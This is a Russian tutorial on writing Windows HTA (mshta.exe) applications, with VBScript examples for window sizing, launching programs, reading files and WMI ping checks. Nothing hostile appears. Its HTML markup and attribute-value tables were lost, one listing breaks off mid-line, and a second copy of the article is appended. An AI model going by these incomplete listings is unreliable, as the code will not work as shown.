Файлы с расширением hta. Приложения HTML

09.04.2019
Введение

До определенного момента развития информационных технологий программы могли создавать только профессионалы в области программирования, с появлением и последующим развитием скриптовых языков, а также браузерных технологий, создание приложений стало более простым для обычного пользователя компьютера. Итак, HTA (HTML Application) - это простая технология, позволяющая создавать полезные приложения даже без знания серьезных языков программирования.

Создать HTA-приложение можно, просто написав HTML-страницу и сохранив ее с расширением.hta, которое обрабатывается программой mshta.exe, её задача - обеспечить связь вашей программы с браузером. Так как такие приложения используют движок браузера, то они объединяют в себе все их возможности - их объектную модель, разметку страницы (HTML), каскадные листы стилей (CSS), скрипты (VBS и JS). Также на такие приложения не накладывается ограничения безопасности - они работают как любой исполняемый файл.

То есть при помощи HTML создается абсолютно любой пользовательский интерфейс, причем с минимальными усилиями и без каких-либо существенных ограничений, логика программы организуется кодом на Java Script или Visual Basic Script, а само приложение выходит за рамки браузера - программа на стадии выполнения ничем не будет отличаться от обычных оконных приложений для Windows - запущенное приложение будет присутствовать на панели задач, иметь собственные окно, меню и значок. Хотя здесь нужно оговориться: программа не будет видна среди запущенных приложений в диспетчере задач, единственное средство, которым можно контролировать запущенную программу - это процесс mshta.exe.

Создание приложения

HTA-приложения можно писать в любом текстовом редакторе или специализированном HTML-конструкторе. Я, например, пользуюсь программой Notepad2 .

Чтобы создать новое приложение, откроем блокнот, скопируем туда структуру HTML документа и сохраним как htm-файл.

Моё HTA-приложение Мое тестовое HTA-приложение

Итак, мы получили HTML-документ, который уже можно посмотреть в браузере. Теперь, чтобы сделать из этой страницы HTA-приложение, необходимо изменить расширение HTML-документа на.hta, после чего его можно запустить двойным щелчком по файлу.

Для того чтобы полностью использовать возможности таких приложений, необходимо в раздел включить тэг . Преобразуем наш тестовый файл таким образом:

Моё HTA-приложение Моё тестовое HTA-приложение

Расширение.hta указывает системе, как работать с приложением, а специальный тэг указывает, как отображать окно. Этот тэг предоставляет набор атрибутов, управляющих свойствами окна приложения.

Атрибуты и свойства тега

Итак, чтобы указать HTA-приложению, как отобразить окно программы, необходимо задать атрибуты тега .

Помимо управлением окном приложения, этот тег также дает возможность обращаться к свойствам приложения из скриптов, расположенных в коде HTA-приложения. Стоит заметить, что все свойства этого тега доступны только для чтения.

Атрибут и свойство id

Определяет идентификатор объекта - уникального имени внутри файла HTA-приложения.

Атрибут и свойство ApplicationName

Содержит имя приложения. Если свойствоSingleInstanceустановлено в "True", то значение ApplicationName автоматически проверяется перед запуском экземпляра приложения. Чтобы проверка была успешной, значение ApplicationName должно быть уникальным. То есть, значение свойства ApplicationName используется для идентификации единственности запущенного приложения.

Атрибут и свойство Border

Содержит тип бордюра окна. Свойство Border влияет на толщину бордюра и действительно только для окон HTA, у которых есть панель заголовка и сам заголовок. УстанавливаяBorderв "None", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано совместно со свойством BorderStyle. Возможные значения:

Атрибут и свойство BorderStyle

Содержит стиль бордюра клиентской области окна. Свойство BorderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство Border контролирует бордюр окна приложения. Возможные значения:

Атрибут и свойство Caption

Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Заголовок приложения отображается только тогда, когда свойствоCaptionустановлено в "Yes". Отключение свойстваCaptionтакже отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае нужно не забыть предоставить альтернативный способ выхода из приложения, например, кнопку "Закрыть" на форме приложения, вызывающую метод Window.Close. Возможные значения:

Свойство CommandLine

Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Если HTA-приложение было запущено с использованием HTTP протокола, свойство CommandLine содержит пустую строку.

Атрибут и свойство ContextMenu

Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Возможные значения:

Атрибут и свойство Icon

Определяет путь к файлу иконки, используемой в HTML приложении. HTA использует системную иконку, если значение не определено. АтрибутIcon распознаёт стандартные файлы с расширением.ico, содержащие изображение размером 32x32 пикселя, а также успешно распознаёт первую иконку из файлов "*.exe", "*.icl" (библиотека иконок), "*.dll", и "*.ocx".

Атрибут и свойство InnerBorder

Определяет, отображается ли внутренняя 3-D граница. Возможные значения:

Атрибут и свойство MaximizeButton

Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут Caption). Возможные значения:

Атрибут и свойство MinimizeButton

Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут Caption). Возможные значения:

Атрибут и свойство Navigable

Определяет, в каком окне будут открываться загружаемые документы. Возможные значения:

Атрибут и свойство Scroll

Определяет, будут ли отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство ScrollFlat

Определяет, в каком виде будут отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство Selection

Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Значение "No" запрещает появление контекстного меню и присвоение атрибуту ContextMenu значения "Yes" не произведёт никакого эффекта. Возможные значения:

Атрибут и свойство ShowInTaskBar

Определяет, будет ли HTML приложение появляться на панели задач Windows. Возможные значения:

Атрибут и свойство SingleInstance

Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Возможные значения:

Атрибут и свойство SysMenu

Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Возможные значения:

Атрибут и свойство Version

Определяет номер версии HTML приложения.

Атрибут и свойство WindowState

Определяет начальные размеры окна HTML приложения. Возможные значения:

В данном примере используются все атрибуты тега , несмотря на то, что значения некоторых атрибутов перекрываются другими параметрами, или некоторые значения уже заданы по умолчанию и не требуют объявления. Это сделано для того, чтобы показать, как использовать все атрибуты данного тега. В обычной практике объявляют только те атрибуты, значения которых нужно изменить.

Моё HTA-приложение Пример использования атрибутов HTA-приложения

  • бордюр: неизменяемый;
  • заголовок окна: присутствует;
  • системное меню: присутствует;
  • размер окна: обычный.
  • Скрипты в HTA-приложениях

    Так как HTA-приложения, по сути, являются HTML-страничками, то в них можно использовать скриптовые языки. Так как я хорошо знаю язык Visual Basic Script , то все последующие примеры будут основаны на нем, тем не менее Вы можете использовать как VBS, так и JS для создания своих приложений.

    Скрипты пишутся в теге и располагаются в разделе либо во внешнем файле. В разделе скриптов описывают действия, которые выполняются при определенных событиях элементов формы приложения. Например, чтобы приложение выполнило скрипт при загрузке формы (инициализации программы), необходимо в теге указать процедуру, которая должна запуститься по событию OnLoad, а сами действия описать в теге .

    Наиболее востребованным скриптом при загрузке формы является изменение размеров окна и размещение его по центру экрана.

    Пример использования скриптов

    Изменим наш пример следующим образом: удалим неиспользуемые атрибуты тега , добавим скрипт изменения размера окна, добавим скрипт вывода версии скрипта на форму, а содержание формы оформим невидимой таблицей для того, чтобы каждый элемент стоял на своем месте вне зависимости от содержания формы.

    Моё HTA-приложение " Процедура инициализации окна формы Sub WindowOnLoad " Размер окна iWidth = 800 iHeight = 600 " Разрешение экрана по умолчанию iHorizontal = 1024 iVertical = 768 " Получение текущего разрешения экрана Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem in ColItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next " Изменение размера окна и его центрирование iLeft = (iHorizontal - iWidth) / 2 iTop = (iVertical - iHeight) / 2 Self.Focus() Self.resizeTo iWidth, iHeight Self.moveTo iLeft, iTop " Вывод версии приложения на форму Version_Div.InnerHTML = "Версия: " & oHTA.Version End Sub

    Моё HTA-приложение
    Данное приложение имеет следующие вид:
  • бордюр: неизменяемый;
  • стиль бордюра: приподнятый и утопленный;
  • заголовок окна: присутствует;
  • иконка: от программы Hyper Terminal;
  • внутренняя 3-D граница: не отображается;
  • кнопка "развернуть": отсутсвует;
  • кнопка "свернуть": отсутсвует;
  • загружаемые документы: открываются в новом окне;
  • полосы прокрутки: не отображаются;
  • стиль полос прокрутки: трёхмерный;
  • содержимое документа быть выбрано мышкой: нет;
  • приложение появляетсяя на панели задач: нет;
  • запускается только один экземляр приложения: да;
  • системное меню: присутствует;
  • размер окна: обычный.
  • Версия: X.X

    Взаимодействие с операционной системой

    HTA-приложения очень удобны для централизации сценариев управления ИТ-инфраструктурой компании, которые администратор использует повседневно. Прежде чем мы создадим такое приложение, необходимо ознакомиться с особенностями взаимодействия скриптов HTA-приложений с операционной системой.

    Взаимодействие приложения с операционной системой осуществляется путем внедрения в код специальных скриптов. Такие скрипты не просто выполняют логику приложения, они через специальные библиотеки отправляют запросы операционной системе, а операционная система возвращает им запрошенные данные или выполняет необходимые действия.

    Методы и свойства корневого класса WScript

    В HTA нельзя напрямую использовать методы и свойства базового класса WScript. Методы CreateObject(.), GetObject(), ConnectObject(, ), DisconnectObject() вызываются без указания родительского класса, а все остальные методы базового класса не доступны для использования.

    Иначе говоря, нельзя вызвать такой простой, но очень полезный метод, как WScript.Sleep. Чтобы обойти это ограничение, необходимо использовать методы с аналогичными действиями из других библиотек. Ниже представлен пример процедуры, которая замещает отсутствующий метод WScript.Sleep.

    Sub ccSleep(seconds) Set oShell = CreateObject("Wscript.Shell") sCommand = "%COMSPEC% /c ping -n " & 1 + seconds & " 127.0.0.1>nul" oShell.Run sCommand,0,1 End Sub

    Данная процедура использует такое свойство стандартной команды ping, что интервал между отправками пакетов к хосту 1 секунда. То есть если нам требуется задержка в выполнении сценария в 1 секунду, то нужно отправить 2 пакета, интервал между ними и будет 1 секунда. Второй момент данного способа в том, что пакеты посылаются на хост-заглушку 127.0.0.1 - то есть самому себе, поэтому время ответа от хоста равно миллисекундам и мало влияет на расчет времени между отправками пакетов. Третий момент - это выполнение команды ping в скрытом режиме.

    Методы и свойства класса Shell

    Для работы с операционной системой используется специальный класс Shell, который позволяет выполнять такие операции как запуск программ, изменение реестра, создание ярлыков, доступ к системным папкам и системным переменным, доступ к системному журналу.

    Наиболее востребованной процедурой являются запуск внешнего приложения. Ниже представлен пример процедуры запуска приложения.

    Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" Case "TestScript" sCommandLine = "%COMSPEC% /C CScript C:\Scripts\Test.vbs" Case "FarManager" sCommandLine = "C:\FarManager\Far.exe" Case "Notepad" sCommandLine = "notepad.exe" Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub

    Данная процедура в качестве параметра получает идентификатор элемента, вызвавшего ее, выбирает нужную командную строку и запускает ее, если строку запуска удалось подобрать.

    Методы и свойства класса FileSystemObject

    Очень часто встречаются такие случаи, когда необходимо что-то создать, удалить, переместить или изменить на диске компьютера. Эту задачу позволяет решить класс FileSystemObject, предназначенный для работы с файловой системой.

    Наиболее распространенная задача из операций с файловой системой - это чтение файла. Ниже представлена функция чтения текстового файла, которая в качестве параметра принимает путь к файлу, а отдает массив строк считанного файла.

    Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function

    Еще одна полезная функция - это проверка существования файла, например, перед запуском внешней программы или перед считыванием текстового файла. Входным параметром функции является путь к файлу, выходным - логическая переменная.

    Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End If End Function

    Классы Windows Management Instrumentation

    Windows Management Instrumentation (WMI) - это набор интерфейсов для управления операционной системой через специальные компоненты, причем как локально, так и по сети. Это очень богатый набор инструментов, с помощью которого можно выполнить любое действие в среде семейства Windows.

    Наиболее простым и востребованным примером использования WMI является определение параметров дисплея пользователя для центрирования формы приложения на экране.

    Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function

    Второй пример использования WMI также полезен и часто используется - это функция определения доступности компьютера в сети.

    Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("SELECT" & _ * FROM Win32_PingStatus WHERE address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode

    Пример использования функций взаимодействия с операционной системой

    Преобразуем наше приложение следующим образом: изменим текст формы, добавим все вышеописанные примеры, на форме разместим несколько кнопок для запуска заданий, в директории, где располагается файл HTA-приложения, создадим папку "MyHTA_files", в которой разместим несколько файлов:

    • text.txt- любой текстовый файл;
    • test.vbs- файл, содержащий только одну строку:MsgBox("Hello script!");
    • MyHTA.ico- любая иконка;
    • MyHTA.vbs- файл, содержащий все вышеописанные скрипты.

    Листинг файла "MyHTA.hta"

    Моё HTA-приложение

    Моё HTA-приложение
    Версия: X.X

    " Процедура инициализации окна формы Sub WindowOnLoad Dim CurrentResolution " Размер окна iWidth = 800 iHeight = 600 " Получение текущего разрешения экрана CurrentResolution = GetDisplayResolution() " Изменение размера окна и его центрирование iLeft = (Split(CurrentResolution,";")(0) - iWidth) / 2 iTop = (Split(CurrentResolution,";")(1) - iHeight) / 2 Self.Focus() Self.resizeTo iWidth, iHeight Self.moveTo iLeft, iTop " Вывод версии приложения на форму Version_Div.InnerHTML = "Версия: " & oHTA.Version End Sub Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" Case "TestScript" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.vbs") = True Then sCommandLine = "WScript """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs""" Else MsgBox("Файл не найден") End If Case "TextFile" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.txt") = True Then sCommandLine = "Notepad """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt""" Else MsgBox("Файл не найден") End If Case "TempDir" sCommandLine = "Explorer " & oShell.ExpandEnvironmentStrings("%Temp%") Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End if End Function Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery(_ "select * from Win32_PingStatus where address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode 0 Then PingComputer = False Else PingComputer = True End If Next End Function

    Итак, теперь мы имеем форму, в которой к каждой из кнопок привязано определенное действие. Чтобы оживить форму и сделать интерфейс более приятным, нам потребуется использовать таблицы стилей, а так же свойства объектов формы, которые мы будем менять динамически по мере возникновения новых событий формы.

    Динамический интерфейс

    Динамический интерфейс или интерфейс, меняющийся в зависимости от действий пользователя, реализуется при помощи DHTML. Реализация DHTML стоит а трёх "китах": непосредственно HTML, каскадных таблицах стилей (CSS) и языке сценариев (Java Script или Visual Basic Script). Эти три компонента DHTML связаны между собой объектной моделью документа (DOM), являющейся, по сути, интерфейсом прикладного программирования (API). DOM связывает воедино три перечисленных компонента, придавая простому документу HTML новое качество, - возможность динамического изменения своего содержимого без перегрузки страницы.

    На самом деле мы уже использовали динамический интерфейс в предыдущих примерах - это изменение размера и положения формы при загрузке, а также вывод версии приложения на форму.

    Пример создания динамического интерфейса

    Итак, первое, что нам потребуется - это создать статическую структуру нашей формы. В нашем примере мы уже создали основу формы - таблицу. Теперь нам потребуется дополнить ее областями, которые будут принимать в себя динамические данные. Для этого изменим тело таблицы согласно схеме, показанной на рисунке.

    Листинг файла "MyHTA.hta"

    Моё HTA-приложение

    Моё HTA-приложение
    Добро пожаловать

    Теперь, когда структура формы готова, необходимо создать таблицу стилей, которая и будет определять внешний вид всех объектов формы. Если вы уже заметили, из разметки формы пропали все атрибуты, отвечающие за отображение объектов - теперь все атрибуты определяются CSS-файлом "MyHTA.css". Этот файл таблицы стилей располагается в папке "MyHTA_files", и подключается командой

    Листинг файла "MyHTA_files\MyHTA.css"

    Body { background-color: buttonface; font-family: Tahoma; } table { height: 100%; width: 100%; } .Header_Row { height:40px; } .Content_Row { vertical-align: top; } #StaticMenu_Cell { width: 20%; text-align: center; } #StaticMenu_Cell input { width: 150px; margin: 2px 2px 2px 2px; } #DynamicContent_Cell { margin: 2px 2px 2px 2px; } #DynamicContent_Cell #DynamicContent_Div { text-align: center; } #DynamicContent_Cell #DynamicContent_Div .NormalLink { font-family: Tahoma; font-size: 10pt; color: black; cursor: default; vertical-align: text-bottom; text-align: left; padding-right: 20px } #DynamicContent_Cell #DynamicContent_Div .NormalLinkMouseOver { font-family: Tahoma; font-size: 10pt; color: Navy; text-decoration: underline; cursor: hand; vertical-align: text-bottom; text-align: left; padding-right: 20px } #DynamicContent_Cell #DynamicContent_Div .TextFile { font-family: Tahoma; font-size: 10pt; text-align: left; } .Footer_Row { height:30px; } #Version_Div { float: left; } #Button_Div { float: right; }

    Последнее и самое сложное, что нужно сделать - это написать логику работы формы - сценарий на языке Visual Basic. Сценарий должен обрабатывать события формы и изменять ее интерфейс в зависимости от потребностей пользователя.

    Первое событие, которое возникает в приложении - это загрузка формы. При этом событии сценарий должен получить от системы разрешение экрана, отцентровать форму и изменить ее размеры. Далее могут возникать события нажатия кнопок, при которых нужно определять нажатую кнопку, выполнять соотвествующую команду и перерисовать динамическую зону формы. Последнее событие - это нажатие на кнопку "Закрыть", при котором форма закрывает себя.

    Если более подробно рассмотреть событие нажатия кнопки "Файл test.txt", то можно выделить несколько этапов логики:

  • проверка наличия файла на диске компьютера;
  • вывод в динамическую зону вопроса о том, как отобразить текстовый файл - создание двух новых объектов с обработкой событий "при нажатии";
  • обработка события выбранного отбъекта - открыть в блокноте или вывести на форму;
  • открытие тектового файла в блокноте, если выбрано это действие;
  • вывод в динамическую зону формы содержимого текстового файла, если выбрано это действие.
  • Сценарий-обработчик событий располагается в папке "MyHTA_files", и подключается командой в файле приложения "MyHTA.hta".

    Листинг файла "MyHTA_files\MyHTA.vbs"

    " Процедура инициализации окна формы Sub WindowOnLoad Dim CurrentResolution " Размер окна iWidth = 800 iHeight = 600 " Получение текущего разрешения экрана CurrentResolution = GetDisplayResolution() " Изменение размера окна и его центрирование iLeft = (Split(CurrentResolution,";")(0) - iWidth) / 2 iTop = (Split(CurrentResolution,";")(1) - iHeight) / 2 Self.Focus() Self.resizeTo iWidth, iHeight Self.moveTo iLeft, iTop " Вывод версии приложения на форму Version_Div.InnerHTML = "Версия: " & oHTA.Version End Sub Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" DynamicContent_Div.InnerHTML = "Командная строка открыта" Case "TestScript" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.vbs") = True Then sCommandLine = "WScript """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs""" DynamicContent_Div.InnerHTML = "Скрипт " & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs" & " выполнен" Else DynamicContent_Div.InnerHTML = "Файл не найден" End If Case "TextFile" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.txt") = True Then sDinamicContent = "Выберите режим отображения содержимого файла:- Открыть файл в блокноте" sDinamicContent = sDinamicContent & "- Отобразить здесь" DynamicContent_Div.InnerHTML = sDinamicContent Else DynamicContent_Div.InnerHTML = "Файл не найден" End If Case "TextFile_Form" sDinamicContent = "" & _ "Текстовый файл: " & _ oShell.CurrentDirectory & "\MyHTA_files\Test.txt" sDinamicContent = sDinamicContent & "Закрыть" sDinamicContent = sDinamicContent & "
    " & _ Replace(ReadFile(oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt"),vbCrLf,"
    ") & "" DynamicContent_Div.InnerHTML = sDinamicContent Case "TextFile_Notepad" sCommandLine = "Notepad """ & oShell.CurrentDirectory & "\MyHTA_files\Test.txt""" DynamicContent_Div.InnerHTML = "Файл " & oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt" & " открыт в блокноте" Case "TextFile_Close" DynamicContent_Div.InnerHTML = "Добро пожаловать" Case "TempDir" sCommandLine = "Explorer " & oShell.ExpandEnvironmentStrings("%Temp%") DynamicContent_Div.InnerHTML = "Папка временных файлов открыта" Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End If End Function Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery(_ "select * from Win32_PingStatus where address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode 0 Then PingComputer = False Else PingComputer = True End If Next End Function Sub ccSleep(seconds) Set oShell = CreateObject("Wscript.Shell") sCommand = "%COMSPEC% /c ping -n " & 1 + seconds & " 127.0.0.1>nul" oShell.Run sCommand,0,1 End Sub здесь .

    Приложение "Консоль администратора"

    Приложение "Консоль администратора" - это сборник часто используемых команд администратора домена или службы поддержки домена. С помощью данной программы можно: управлять компьютером, скорректировать сервисы, узнать информацию о компьютере, узнать информацию о пользователе, разблокировать пользователя или сменить ему пароль.

    Данное приложение представяет из себя форму с возможностью выбора требуемой команды, полями ввода имени компьютера и пользователя, кнопки "Выполнить" и информационной строки, где отображается результат выполнения команд. Консоль имеет файл конфигурации "MyHTA.ini", в котором задаются параметры домена. Архив с примером программы можно загрузить .

    Виталий Бочкарев

    Внешние ссылки

    Секция внешних ссылок, то есть ссылок на другие сайты, к которым данный ресурс не имеет никакого отношения.. Кроме этого, владелец сайта сайт не несет никакой ответственности за доступность этих ресурсов и за их контент.

    HTA (HTML Application) - это простая технология, позволяющая создавать полезные приложения даже без знания серьезных языков программирования.

    Создать HTA-приложение можно, просто написав HTML-страницу и сохранив ее с расширением .hta , которое обрабатывается программой mshta.exe , её задача - обеспечить связь программы с браузером. Так как такие приложения используют движок браузера, то они объединяют в себе все их возможности - их объектную модель, разметку страницы (HTML), каскадные листы стилей (CSS), скрипты (VBS и JS). Также на такие приложения не накладывается ограничения безопасности - они работают как любой исполняемый файл.

    То есть при помощи HTML создается абсолютно любой пользовательский интерфейс, причем с минимальными усилиями и без каких-либо существенных ограничений, логика программы организуется кодом на Java Script или Visual Basic Script, а само приложение выходит за рамки браузера - программа на стадии выполнения ничем не будет отличаться от обычных оконных приложений для Windows - запущенное приложение будет присутствовать на панели задач, иметь собственные окно, меню и значок. Хотя здесь нужно оговориться: программа не будет видна среди запущенных приложений в диспетчере задач, единственное средство, которым можно контролировать запущенную программу - это процесс mshta.exe.

    В то время, как расширение .hta указывает системе как работать с приложением, новый тег и аттрибуты указывают окну, как себя вести будучи приложением. Этот тег предоставляет ограниченный набор аттрибутов, управляющих всем от стиля границы окна и до программной иконки и меню. Для создания функционирующего HTA, этот тег должен быть описан внутри тега HEAD .

    Элемент HTA:APPLICATION требует закрывающего тега.

    ... Так как тэг элемента HTA:APPLICATION является пустым, он также может быть закрыт использую следующий прием.

    При использовании вышеуказанного приема, прямому слэшу (/) должен предшествовать пробельный символ.

    Помимо управлением окном приложения, этот тег также дает возможность обращаться к свойствам приложения из скриптов, расположенных в коде HTA-приложения. Стоит заметить, что все свойства этого тега доступны только для чтения.

    Атрибут и свойство id

    Определяет идентификатор объекта - уникального имени внутри файла HTA-приложения.

    Атрибут и свойство applicationName

    Содержит имя приложения. Свойство не имеет значения по умолчанию.

    Будучи установленным в true , свойство singleInstance проверяет значение applicationName перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Можно использовать значение свойства applicationName для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему.

    Атрибут и свойство border

    Содержит тип бордюра окна. Свойство border влияет на толщину бордюра и действительно только для окон HTA , у которых есть панель заголовка и сам заголовок. Устанавливая border в "None", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано совместно со свойством borderStyle . Возможные значения:

    Примечание

    Если не указать параметр BORDER или указать BORDER="thick" , то размеры окна программы можно будет изменять при помощи мыши, в остальных же случаях, - размеры окна изменить нельзя.

    Атрибут и свойство borderStyle

    Содержит стиль бордюра клиентской области окна. Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения. Возможные значения:

    Атрибут и свойство caption

    Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Заголовок приложения отображается только тогда, когда свойство caption установлено в "Yes". Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае нужно не забыть предоставить альтернативный способ выхода из приложения, например, кнопку "Закрыть" на форме приложения, вызывающую метод Window.Close . Возможные значения:

    Свойство commandLine

    Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Если HTA-приложение было запущено с использованием HTTP протокола, свойство CommandLine содержит пустую строку.

    Атрибут и свойство contextMenu

    Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Возможные значения:

    Атрибут и свойство icon

    Определяет путь к файлу иконки, используемой в HTML приложении. HTA использует системную иконку, если значение не определено. Атрибут Icon распознаёт стандартные файлы с расширением.ico , содержащие изображение размером 32x32 пикселя, а также успешно распознаёт первую иконку из файлов "*.exe", "*.icl" (библиотека иконок), "*.dll", и "*.ocx".

    Атрибут и свойство innerBorder

    Определяет, отображается ли внутренняя 3-D граница. Возможные значения:

    Атрибут и свойство maximizeButton

    Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

    Атрибут и свойство minimizeButton

    Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

    Атрибут и свойство navigable

    Определяет, в каком окне будут открываться загружаемые документы. Возможные значения:

    Атрибут и свойство scroll

    Определяет, будут ли отображаться полосы прокрутки. Возможные значения:

    Атрибут и свойство scrollFlat

    Определяет, в каком виде будут отображаться полосы прокрутки. Возможные значения:

    Атрибут и свойство selection

    Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Значение "No" запрещает появление контекстного меню и присвоение атрибуту contextMenu значения "Yes" не произведёт никакого эффекта. Возможные значения:

    Атрибут и свойство showInTaskBar

    Определяет, будет ли HTML приложение появляться на панели задач Windows. Возможные значения:

    Атрибут и свойство singleInstance

    Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Возможные значения:

    Атрибут и свойство sysMenu

    Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Возможные значения:

    Атрибут и свойство version

    Определяет номер версии HTML приложения.

    Атрибут и свойство windowState

    Определяет начальные размеры окна HTML приложения. Возможные значения:

    Пример

    В этом маленьком примере объединены объектная модель, разметка страницы (HTML), каскадный лист стилей (CSS), Javascript и элементы WSH.

    В папке "MyHTA_files" размещаются следующие файлы:

    • text.txt- любой текстовый файл;
    • test.js- файл, содержащий только одну строку: WScript.Echo ("Hello script!");
    • MyHTA.ico - любая иконка;
    • MyHTA.css - файл стилей;
    • MyHTA.js- файл, содержащий все скрипты.
    Листинг файла "MyHTA.hta" Моё HTA-приложение
    Моё HTA-приложение
    Добро пожаловать
